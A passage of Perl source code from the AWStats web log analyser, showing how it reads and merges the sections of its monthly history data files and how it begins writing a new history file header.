); } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_EMAILSENDER' || $field[0] eq "${xmleb}END_EMAILSENDER" || !$_ ); if ( $field[0] ne 'END_EMAILSENDER' && $field[0] ne "${xmleb}END_EMAILSENDER" ) { error( "History file \"$filetoread\" is corrupted (End of section EMAILSENDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of EMAILSENDER section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'emailsender'}; if ( $SectionsToSave{'emailsender'} ) { Save_History( 'emailsender', $year, $month, $date ); delete $SectionsToSave{'emailsender'}; if ($withpurge) { %_emails_h = (); %_emails_k = (); %_emails_l = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_EMAILR if ( $field[0] eq 'BEGIN_EMAILRECEIVER' ) { if ($Debug) { debug(" Begin of EMAILRECEIVER section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'emailreceiver'} ) { $countloaded++; if ( $field[1] ) { $_emailr_h{ $field[0] } += $field[1]; } if ( $field[2] ) { $_emailr_k{ $field[0] } += $field[2]; } if ( !$_emailr_l{ $field[0] } ) { $_emailr_l{ $field[0] } = int( $field[3] ); } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_EMAILRECEIVER' || $field[0] eq "${xmleb}END_EMAILRECEIVER" || !$_ ); if ( $field[0] ne 'END_EMAILRECEIVER' && $field[0] ne "${xmleb}END_EMAILRECEIVER" ) { error( "History file \"$filetoread\" is corrupted (End of section EMAILRECEIVER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of EMAILRECEIVER section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'emailreceiver'}; if ( $SectionsToSave{'emailreceiver'} ) { Save_History( 'emailreceiver', $year, $month, $date ); delete $SectionsToSave{'emailreceiver'}; if ($withpurge) { %_emailr_h = (); %_emailr_k = (); %_emailr_l = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_SIDER if ( $field[0] eq 'BEGIN_SIDER' ) { if ($Debug) { debug(" Begin of SIDER section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'sider'} ) { my $loadrecord = 0; if ($withupdate) { $loadrecord = 1; } else { if ( $HTMLOutput{'main'} ) { if ( $MonthRequired eq 'all' ) { $loadrecord = 1; } else { if ( $countloaded < $MaxNbOf{'PageShown'} && $field[1] >= $MinHit{'File'} ) { $loadrecord = 1; } $TotalDifferentPages++; } } else { # This is for $HTMLOutput = urldetail, urlentry or urlexit if ( $MonthRequired eq 'all' ) { if ( ( !$FilterIn{'url'} || $field[0] =~ /$FilterIn{'url'}/ ) && ( !$FilterEx{'url'} || $field[0] !~ /$FilterEx{'url'}/ ) ) { $loadrecord = 1; } } else { if ( ( !$FilterIn{'url'} || $field[0] =~ /$FilterIn{'url'}/ ) && ( !$FilterEx{'url'} || $field[0] !~ /$FilterEx{'url'}/ ) && $field[1] >= $MinHit{'File'} ) { $loadrecord = 1; } $TotalDifferentPages++; } } # Posssibilite de mettre if ($FilterIn{'url'} && $field[0] =~ /$FilterIn{'url'}/) mais il faut gerer TotalPages de la meme maniere $TotalBytesPages += ( $field[2] || 0 ); $TotalEntries += ( $field[3] || 0 ); $TotalExits += ( $field[4] || 0 ); } if ($loadrecord) { if ( $field[1] ) { $_url_p{ $field[0] } += $field[1]; } if ( $field[2] ) { $_url_k{ $field[0] } += $field[2]; } if ( $field[3] ) { $_url_e{ $field[0] } += $field[3]; } if ( $field[4] ) { $_url_x{ $field[0] } += $field[4]; } $countloaded++; } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_SIDER' || $field[0] eq "${xmleb}END_SIDER" || !$_ ); if ( $field[0] ne 'END_SIDER' && $field[0] ne "${xmleb}END_SIDER" ) { error( "History file \"$filetoread\" is corrupted (End of section SIDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of SIDER section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'sider'}; # WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR #if ($SectionsToSave{'sider'}) { # Save_History('sider',$year,$month,$date); delete $SectionsToSave{'sider'}; # if ($withpurge) { %_url_p=(); %_url_k=(); %_url_e=(); %_url_x=(); } #} if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_FILETYPES if ( $field[0] eq 'BEGIN_FILETYPES' ) { if ($Debug) { debug(" Begin of FILETYPES section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'filetypes'} ) { $countloaded++; if ( $field[1] ) { $_filetypes_h{ $field[0] } += $field[1]; } if ( $field[2] ) { $_filetypes_k{ $field[0] } += $field[2]; } if ( $field[3] ) { $_filetypes_gz_in{ $field[0] } += $field[3]; } if ( $field[4] ) { $_filetypes_gz_out{ $field[0] } += $field[4]; } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_FILETYPES' || $field[0] eq "${xmleb}END_FILETYPES" || !$_ ); if ( $field[0] ne 'END_FILETYPES' && $field[0] ne "${xmleb}END_FILETYPES" ) { error( "History file \"$filetoread\" is corrupted (End of section FILETYPES not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of FILETYPES section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'filetypes'}; if ( $SectionsToSave{'filetypes'} ) { Save_History( 'filetypes', $year, $month, $date ); delete $SectionsToSave{'filetypes'}; if ($withpurge) { %_filetypes_h = (); %_filetypes_k = (); %_filetypes_gz_in = (); %_filetypes_gz_out = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_DOWNLOADS if ( $field[0] eq 'BEGIN_DOWNLOADS' ) { if ($Debug) { debug(" Begin of DOWNLOADS section"); } $field[0] = ''; my $count = 0; my $counttoload = int($field[1]); my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'downloads'}) { $countloaded++; $_downloads{$field[0]}->{'AWSTATS_HITS'} += int( $field[1] ); $_downloads{$field[0]}->{'AWSTATS_206'} += int( $field[2] ); $_downloads{$field[0]}->{'AWSTATS_SIZE'} += int( $field[3] ); } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_DOWNLOADS' || $field[0] eq "${xmleb}END_DOWNLOADS" || !$_ ); if ( $field[0] ne 'END_DOWNLOADS' && $field[0] ne "${xmleb}END_DOWNLOADS" ) { error( "History file \"$filetoread\" is corrupted (End of section DOWNLOADS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of DOWNLOADS section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'downloads'}; if ( $SectionsToSave{'downloads'} ) { Save_History( 'downloads', $year, $month, $date ); delete $SectionsToSave{'downloads'}; if ($withpurge) { %_downloads = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_SEREFERRALS if ( $field[0] eq 'BEGIN_SEREFERRALS' ) { if ($Debug) { debug(" Begin of SEREFERRALS section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'sereferrals'} ) { $countloaded++; if ( $versionnum < 5004 ) { # For history files < 5.4 my $se = $field[0]; $se =~ s/\./\\./g; if ( $SearchEnginesHashID{$se} ) { $_se_referrals_h{ $SearchEnginesHashID{$se} } += $field[1] || 0; } else { $_se_referrals_h{ $field[0] } += $field[1] || 0; } } elsif ( $versionnum < 5091 ) { # For history files < 5.91 my $se = $field[0]; $se =~ s/\./\\./g; if ( $SearchEnginesHashID{$se} ) { $_se_referrals_p{ $SearchEnginesHashID{$se} } += $field[1] || 0; $_se_referrals_h{ $SearchEnginesHashID{$se} } += $field[2] || 0; } else { $_se_referrals_p{ $field[0] } += $field[1] || 0; $_se_referrals_h{ $field[0] } += $field[2] || 0; } } else { if ( $field[1] ) { $_se_referrals_p{ $field[0] } += $field[1]; } if ( $field[2] ) { $_se_referrals_h{ $field[0] } += $field[2]; } } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_SEREFERRALS' || $field[0] eq "${xmleb}END_SEREFERRALS" || !$_ ); if ( $field[0] ne 'END_SEREFERRALS' && $field[0] ne "${xmleb}END_SEREFERRALS" ) { error( "History file \"$filetoread\" is corrupted (End of section SEREFERRALS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of SEREFERRALS section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'sereferrals'}; if ( $SectionsToSave{'sereferrals'} ) { Save_History( 'sereferrals', $year, $month, $date ); delete $SectionsToSave{'sereferrals'}; if ($withpurge) { %_se_referrals_p = (); %_se_referrals_h = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_PAGEREFS if ( $field[0] eq 'BEGIN_PAGEREFS' ) { if ($Debug) { debug(" Begin of PAGEREFS section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'pagerefs'} ) { my $loadrecord = 0; if ($withupdate) { $loadrecord = 1; } else { if ( ( !$FilterIn{'refererpages'} || $field[0] =~ /$FilterIn{'refererpages'}/ ) && ( !$FilterEx{'refererpages'} || $field[0] !~ /$FilterEx{'refererpages'}/ ) ) { $loadrecord = 1; } } if ($loadrecord) { if ( $versionnum < 5004 ) { # For history files < 5.4 if ( $field[1] ) { $_pagesrefs_h{ $field[0] } += int( $field[1] ); } } else { if ( $field[1] ) { $_pagesrefs_p{ $field[0] } += int( $field[1] ); } if ( $field[2] ) { $_pagesrefs_h{ $field[0] } += int( $field[2] ); } } $countloaded++; } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_PAGEREFS' || $field[0] eq "${xmleb}END_PAGEREFS" || !$_ ); if ( $field[0] ne 'END_PAGEREFS' && $field[0] ne "${xmleb}END_PAGEREFS" ) { error( "History file \"$filetoread\" is corrupted (End of section PAGEREFS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of PAGEREFS section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'pagerefs'}; if ( $SectionsToSave{'pagerefs'} ) { Save_History( 'pagerefs', $year, $month, $date ); delete $SectionsToSave{'pagerefs'}; if ($withpurge) { %_pagesrefs_p = (); %_pagesrefs_h = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_SEARCHWORDS if ( $field[0] eq 'BEGIN_SEARCHWORDS' ) { if ($Debug) { debug( " Begin of SEARCHWORDS section ($MaxNbOf{'KeyphrasesShown'},$MinHit{'Keyphrase'})" ); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'searchwords'} ) { my $loadrecord = 0; if ($withupdate) { $loadrecord = 1; } else { if ( $HTMLOutput{'main'} ) { if ( $MonthRequired eq 'all' ) { $loadrecord = 1; } else { if ( $countloaded < $MaxNbOf{'KeyphrasesShown'} && $field[1] >= $MinHit{'Keyphrase'} ) { $loadrecord = 1; } $TotalDifferentKeyphrases++; $TotalKeyphrases += ( $field[1] || 0 ); } } elsif ( $HTMLOutput{'keyphrases'} ) { # Load keyphrases for keyphrases chart if ( $MonthRequired eq 'all' ) { $loadrecord = 1; } else { if ( $field[1] >= $MinHit{'Keyphrase'} ) { $loadrecord = 1; } $TotalDifferentKeyphrases++; $TotalKeyphrases += ( $field[1] || 0 ); } } if ( $HTMLOutput{'keywords'} ) { # Load keyphrases for keywords chart $loadrecord = 2; } } if ($loadrecord) { if ( $field[1] ) { if ( $loadrecord == 2 ) { foreach ( split( /\+/, $field[0] ) ) { # field[0] is "val1+val2+..." $_keywords{$_} += $field[1]; } } else { $_keyphrases{ $field[0] } += $field[1]; } } $countloaded++; } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_SEARCHWORDS' || $field[0] eq "${xmleb}END_SEARCHWORDS" || !$_ ); if ( $field[0] ne 'END_SEARCHWORDS' && $field[0] ne "${xmleb}END_SEARCHWORDS" ) { error( "History file \"$filetoread\" is corrupted (End of section SEARCHWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of SEARCHWORDS section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'searchwords'}; if ( $SectionsToSave{'searchwords'} ) { Save_History( 'searchwords', $year, $month, $date ); delete $SectionsToSave{ 'searchwords' }; # This save searwords and keywords sections if ($withpurge) { %_keyphrases = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_KEYWORDS if ( $field[0] eq 'BEGIN_KEYWORDS' ) { if ($Debug) { debug( " Begin of KEYWORDS section ($MaxNbOf{'KeywordsShown'},$MinHit{'Keyword'})" ); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'keywords'} ) { my $loadrecord = 0; if ( $MonthRequired eq 'all' ) { $loadrecord = 1; } else { if ( $countloaded < $MaxNbOf{'KeywordsShown'} && $field[1] >= $MinHit{'Keyword'} ) { $loadrecord = 1; } $TotalDifferentKeywords++; $TotalKeywords += ( $field[1] || 0 ); } if ($loadrecord) { if ( $field[1] ) { $_keywords{ $field[0] } += $field[1]; } $countloaded++; } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_KEYWORDS' || $field[0] eq "${xmleb}END_KEYWORDS" || !$_ ); if ( $field[0] ne 'END_KEYWORDS' && $field[0] ne "${xmleb}END_KEYWORDS" ) { error( "History file \"$filetoread\" is corrupted (End of section KEYWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of KEYWORDS section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'keywords'}; if ( $SectionsToSave{'keywords'} ) { Save_History( 'keywords', $year, $month, $date ); delete $SectionsToSave{'keywords'}; if ($withpurge) { %_keywords = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_ERRORS if ( $field[0] eq 'BEGIN_ERRORS' ) { if ($Debug) { debug(" Begin of ERRORS section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{'errors'} ) { $countloaded++; if ( $field[1] ) { $_errors_h{ $field[0] } += $field[1]; } if ( $field[2] ) { $_errors_k{ $field[0] } += $field[2]; } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq 'END_ERRORS' || $field[0] eq "${xmleb}END_ERRORS" || !$_ ); if ( $field[0] ne 'END_ERRORS' && $field[0] ne "${xmleb}END_ERRORS" ) { error( "History file \"$filetoread\" is corrupted (End of section ERRORS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of ERRORS section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{'errors'}; if ( $SectionsToSave{'errors'} ) { Save_History( 'errors', $year, $month, $date ); delete $SectionsToSave{'errors'}; if ($withpurge) { %_errors_h = (); %_errors_k = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } # BEGIN_SIDER_xxx foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) { if ( $field[0] eq "BEGIN_SIDER_$code" ) { if ($Debug) { debug(" Begin of SIDER_$code section"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ) { $count++; if ( $SectionsToLoad{"sider_$code"} ) { $countloaded++; if ( $field[1] ) { $_sider_h{$code}{$field[0]} += $field[1]; } if ( $withupdate || $HTMLOutput{"errors$code"} ) { my $fieldidx = 2; foreach (split(//, $ShowHTTPErrorsPageDetail)) { last if (! $field[$fieldidx] ); if ( $_ =~ /R/i ) { $_referer_h{$code}{$field[0]} = $field[2]; } elsif ( $_ =~ /H/i ) { $_err_host_h{$code}{$field[0]} = $field[$fieldidx]; } $fieldidx++; } } } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq "END_SIDER_$code" || $field[0] eq "${xmleb}END_SIDER_$code" || !$_ ); if ( $field[0] ne "END_SIDER_$code" && $field[0] ne "${xmleb}END_SIDER_$code" ) { error( "History file \"$filetoread\" is corrupted (End of section SIDER_$code not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of SIDER_$code section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{"sider_$code"}; if ( $SectionsToSave{"sider_$code"} ) { Save_History( "sider_$code", $year, $month, $date ); delete $SectionsToSave{"sider_$code"}; if ($withpurge) { %_sider_h = (); %_referer_h = (); %_err_host_h = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } } # BEGIN_EXTRA_xxx foreach my $extranum ( 1 .. @ExtraName - 1 ) { if ( $field[0] eq "BEGIN_EXTRA_$extranum" ) { if ($Debug) { debug(" Begin of EXTRA_$extranum"); } $field[0] = ''; my $count = 0; my $countloaded = 0; do { if ( $field[0] ne '' ) { $count++; if ( $SectionsToLoad{"extra_$extranum"} ) { if ( $ExtraStatTypes[$extranum] =~ /P/i && $field[1] ) { ${ '_section_' . $extranum . '_p' } { $field[0] } += $field[1]; } ${ '_section_' . $extranum . '_h' } { $field[0] } += $field[2]; if ( $ExtraStatTypes[$extranum] =~ /B/i && $field[3] ) { ${ '_section_' . $extranum . '_k' } { $field[0] } += $field[3]; } if ( $ExtraStatTypes[$extranum] =~ /L/i && !${ '_section_' . $extranum . '_l' } { $field[0] } && $field[4] ) { ${ '_section_' . $extranum . '_l' } { $field[0] } = int( $field[4] ); } $countloaded++; } } $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq "END_EXTRA_$extranum" || $field[0] eq "${xmleb}END_EXTRA_$extranum" || !$_ ); if ( $field[0] ne "END_EXTRA_$extranum" && $field[0] ne "${xmleb}END_EXTRA_$extranum" ) { error( "History file \"$filetoread\" is corrupted (End of section EXTRA_$extranum not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", "", "", 1 ); } if ($Debug) { debug( " End of EXTRA_$extranum section ($count entries, $countloaded loaded)" ); } delete $SectionsToLoad{"extra_$extranum"}; if ( $SectionsToSave{"extra_$extranum"} ) { Save_History( "extra_$extranum", $year, $month, $date ); delete $SectionsToSave{"extra_$extranum"}; if ($withpurge) { %{ '_section_' . $extranum . '_p' } = (); %{ '_section_' . $extranum . '_h' } = (); %{ '_section_' . $extranum . '_b' } = (); %{ '_section_' . $extranum . '_l' } = (); } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } next; } } # BEGIN_PLUGINS if ( $AtLeastOneSectionPlugin && $field[0] =~ /^BEGIN_PLUGIN_(\w+)$/i ) { my $pluginname = $1; my $found = 0; foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) { if ( $pluginname eq $_ ) { # The plugin for this section was loaded $found = 1; my $issectiontoload = $SectionsToLoad{"plugin_$pluginname"}; # my $function="SectionReadHistory_$pluginname(\$issectiontoload,\$readxml,\$xmleb,\$countlines)"; # eval("$function"); my $function = "SectionReadHistory_$pluginname"; &$function( $issectiontoload, $readxml, $xmleb, $countlines ); delete $SectionsToLoad{"plugin_$pluginname"}; if ( $SectionsToSave{"plugin_$pluginname"} ) { Save_History( "plugin_$pluginname", $year, $month, $date ); delete $SectionsToSave{"plugin_$pluginname"}; if ($withpurge) { # my $function="SectionInitHashArray_$pluginname()"; # eval("$function"); my $function = "SectionInitHashArray_$pluginname"; &$function(); } } last; } } if ( !scalar %SectionsToLoad ) { debug(" Stop reading history file. Got all we need."); last; } # The plugin for this section was not loaded if ( !$found ) { do { $_ = <HISTORY>; chomp $_; s/\r//; @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) ); $countlines++; } until ( $field[0] eq "END_PLUGIN_$pluginname" || $field[0] eq "${xmleb}END_PLUGIN_$pluginname" || !$_ ); } next; } # For backward compatibility (ORIGIN section was "HitFromx" in old history files) if ( $SectionsToLoad{'origin'} ) { if ( $field[0] eq 'HitFrom0' ) { $_from_p[0] += 0; $_from_h[0] += $field[1]; next; } if ( $field[0] eq 'HitFrom1' ) { $_from_p[1] += 0; $_from_h[1] += $field[1]; next; } if ( $field[0] eq 'HitFrom2' ) { $_from_p[2] += 0; $_from_h[2] += $field[1]; next; } if ( $field[0] eq 'HitFrom3' ) { $_from_p[3] += 0; $_from_h[3] += $field[1]; next; } if ( $field[0] eq 'HitFrom4' ) { $_from_p[4] += 0; $_from_h[4] += $field[1]; next; } if ( $field[0] eq 'HitFrom5' ) { $_from_p[5] += 0; $_from_h[5] += $field[1]; next; } } } } if ($withupdate) { # Process rest of data saved in 'wait' arrays (data for hosts that are not in history file or no history file found) # This can change some values for day, sider and session sections if ($Debug) { debug( " Processing data in 'wait' arrays", 3 ); } foreach ( keys %_waithost_e ) { if ($Debug) { debug( " Visit in 'wait' array for $_ is a new visit", 4 ); } my $newtimehosts = ( $_waithost_s{$_} ? $_waithost_s{$_} : $_host_s{$_} ); my $newtimehostl = ( $_waithost_l{$_} ? $_waithost_l{$_} : $_host_l{$_} ); $_url_e{ $_waithost_e{$_} }++; $newtimehosts =~ /^(\d\d\d\d\d\d\d\d)/; $DayVisits{$1}++; if ( $_waithost_s{$_} ) { # There was also a second session in processed log $_session{ GetSessionRange( $newtimehosts, $newtimehostl ) }++; } } } # Write all unwrote sections in section order ('general','time', 'day','sider','session' and other...) if ($Debug) { debug( " Check and write all unwrote sections: " . join( ',', keys %SectionsToSave ), 2 ); } foreach my $key ( sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} } keys %SectionsToSave ) { Save_History( "$key", $year, $month, $date, $lastlinenb, $lastlineoffset, $lastlinechecksum ); } %SectionsToSave = (); # Update offset in map section and last data in general section then close files if ($withupdate) { if ($xml) { print HISTORYTMP "\n\n</xml>\n"; } # Update offset of sections in the MAP section foreach ( sort { $PosInFile{$a} <=> $PosInFile{$b} } keys %ValueInFile ) { if ($Debug) { debug( " Update offset of section $_=$ValueInFile{$_} in file at offset $PosInFile{$_}" ); } if ( $PosInFile{"$_"} ) { seek( HISTORYTMP, $PosInFile{"$_"}, 0 ); print HISTORYTMP $ValueInFile{"$_"}; } } # Save last data in general sections if ($Debug) { debug( " Update MonthVisits=$MonthVisits{$year.$month} in file at offset $PosInFile{TotalVisits}" ); } seek( HISTORYTMP, $PosInFile{"TotalVisits"}, 0 ); print HISTORYTMP $MonthVisits{ $year . $month }; if ($Debug) { debug( " Update MonthUnique=$MonthUnique{$year.$month} in file at offset $PosInFile{TotalUnique}" ); } seek( HISTORYTMP, $PosInFile{"TotalUnique"}, 0 ); print HISTORYTMP $MonthUnique{ $year . $month }; if ($Debug) { debug( " Update MonthHostsKnown=$MonthHostsKnown{$year.$month} in file at offset $PosInFile{MonthHostsKnown}" ); } seek( HISTORYTMP, $PosInFile{"MonthHostsKnown"}, 0 ); print HISTORYTMP $MonthHostsKnown{ $year . $month }; if ($Debug) { debug( " Update MonthHostsUnknown=$MonthHostsUnknown{$year.$month} in file at offset $PosInFile{MonthHostsUnknown}" ); } seek( HISTORYTMP, $PosInFile{"MonthHostsUnknown"}, 0 ); print HISTORYTMP $MonthHostsUnknown{ $year . $month }; close(HISTORYTMP) || error("Failed to write temporary history file"); } if ($withread) { close(HISTORY) || error("Command for pipe '$filetoread' failed"); } # Purge data if ($withpurge) { &Init_HashArray(); } # If update, rename tmp file bis into tmp file or set HistoryAlreadyFlushed if ($withupdate) { if ( $HistoryAlreadyFlushed{"$year$month$day$hour"} ) { debug( "Rename tmp history file bis '$filetoread' to '$filetowrite'"); if ( rename( $filetowrite, $filetoread ) == 0 ) { error("Failed to update tmp history file $filetoread"); } } else { $HistoryAlreadyFlushed{"$year$month$day$hour"} = 1; } if ( !$ListOfYears{"$year"} || $ListOfYears{"$year"} lt "$month" ) { $ListOfYears{"$year"} = "$month"; } } # For backward compatibility, if LastLine does not exist, set to LastTime $LastLine ||= $LastTime{$date}; return ( $withupdate ? "$filetowrite" : "" ); } #------------------------------------------------------------------------------ # Function: Save a part of history file # Parameters: sectiontosave,year,month,breakdate[,lastlinenb,lastlineoffset,lastlinechecksum] # Input: $VERSION HISTORYTMP $nowyear $nowmonth $nowday $nowhour $nowmin $nowsec $LastLineNumber $LastLineOffset $LastLineChecksum # Output: None # Return: None #------------------------------------------------------------------------------ sub Save_History { my $sectiontosave = shift || ''; my $year = shift || ''; my $month = shift || ''; my $breakdate = shift || ''; my $xml = ( $BuildHistoryFormat eq 'xml' ? 1 : 0 ); my ( $xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe, $xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee ) = ( '', '', '', '', '', '', '', '', '', '', '' ); if ($xml) { ( $xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe, $xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee ) = ( "</comment><nu>\n", '</nu><recnb>', '</recnb><table>', '<tr><th>', '</th><th>', '</th></tr>', '<tr><td>', '</td><td>', '</td></tr>', '</table><nu>', "\n</nu></section>" ); } else { $xmlbs = ' '; $xmlhs = ' '; $xmlrs = ' '; } my $lastlinenb = shift || 0; my $lastlineoffset = shift || 0; my $lastlinechecksum = shift || 0; if ( !$lastlinenb ) { # This happens for migrate $lastlinenb = $LastLineNumber; $lastlineoffset = $LastLineOffset; $lastlinechecksum = $LastLineChecksum; } if ($Debug) { debug( " Save_History [sectiontosave=$sectiontosave,year=$year,month=$month,breakdate=$breakdate,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]", 1 ); } my $spacebar = " "; my %keysinkeylist = (); # Header if ( $sectiontosave eq 'header' ) { if ($xml) { print HISTORYTMP "<version><lib>\n"; } print HISTORYTMP "AWSTATS DATA FILE $VERSION\n"; if ($xml) { print HISTORYTMP "</lib><comment>\n"; } print HISTORYTMP "# If you remove this file, all statistics for date $breakdate will be lost/reset.\n"; print HISTORYTMP "# Last config file used to build this data file was $FileConfig.\n"; if ($xml) { print HISTORYTMP "</comment></version>\n"; } print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; } print HISTORYTMP "# Position (offset in bytes) in this file for beginning of each section for\n"; print HISTORYTMP "# direct I/O access. If you made changes somewhere in this file, you should\n"; print HISTORYTMP "# also remove completely the MAP section (AWStats will rewrite it at next\n"; print HISTORYTMP "# update).\n"; print HISTORYTMP "${xmlbb}BEGIN_MAP${xmlbs}" . ( 27 + ( scalar keys %TrapInfosForHTTPErrorCodes ) + ( scalar @ExtraName ? scalar @ExtraName - 1 : 0 ) + ( scalar keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) ) . "${xmlbe}\n"; print HISTORYTMP "${xmlrb}POS_GENERAL${xmlrs}"; $PosInFile{"general"} = tell HISTORYTMP; print 